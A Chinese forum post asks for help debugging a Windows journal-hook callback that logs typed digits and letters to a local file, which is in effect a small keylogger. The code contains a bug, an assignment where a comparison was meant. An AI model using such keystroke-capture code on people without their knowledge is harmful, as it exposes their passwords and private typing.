怎么这么奇怪啊,日志钩子的问题啊
我写了一个日志钩子,希望记录下键盘的输入,但当我响应WM_KEYDOWN的时候,有些很奇怪的问题。
问题一:我根本没有动键盘,但却不断的有WM_KEYDOWN消息产生,莫名其妙?
问题二:按下一个键却产生两条同样的消息,真是无可奈何。
哪位懂hook的兄弟给分析一下好吗?
下面是我的钩子回调函数。
LRESULT CALLBACK JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
{
static HWND hLastFocus=NULL; //记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
static char g_PrvChar; //保存上一次按键值
CFile LogFile;
int vKey;
int i;
HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
EVENTMSG *pMsg;
CString stream,buffer;
if (iCode<0)
{
return ::CallNextHookEx(hHook,iCode,wParam,lParam);
}
if (iCode==HC_ACTION)
{
LogFile.Open("logfile.txt",CFile::modeCreate|CFile::modeNoTruncate|CFile::modeWrite,NULL);
pMsg=(EVENTMSG *)lParam;
if (pMsg->message=WM_KEYDOWN)
{
vKey=LOBYTE(pMsg->paramL); //得到虚拟键码
//还应该检查shift capital ctrl键的状态
if (vKey >=48 && vKey<=57) //0..9数字键
{
stream.Format("%c\r\n",vKey);
TRACE("%d\n",vKey);
LogFile.SeekToEnd();
LogFile.Write(stream.GetBuffer(stream.GetLength()),stream.GetLength());
}
if (vKey>=65 && vKey<=90)
{
stream.Format("%c\r\n",vKey);
TRACE("%c\n",vKey);
LogFile.SeekToEnd();
LogFile.Write(stream.GetBuffer(stream.GetLength()),stream.GetLength());
}
}
LogFile.Close();
}
return ::CallNextHookEx(hHook,iCode,wParam,lParam);
}
哇,对不起,根本没办法排版啊,不过程序很简单,大家帮个忙吧,谢谢!